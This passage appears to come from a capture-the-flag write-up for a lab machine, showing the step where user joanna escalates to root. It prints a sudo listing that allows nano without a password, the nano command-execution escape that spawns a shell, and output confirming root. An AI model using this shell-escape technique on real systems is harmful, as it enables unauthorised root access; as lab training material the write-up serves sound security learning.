6 joanna > root
joanna@openadmin:~$ sudo -l
Matching Defaults entries for joanna on openadmin:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User joanna may run the following commands on openadmin:
(ALL) NOPASSWD: /bin/nano /opt/priv
sudo /bin/nano /opt/priv
^R^X
reset; sh 1>&0 2>&0
# whoami;id
root
uid=0(root) gid=0(root) groups=0(root)
Last updated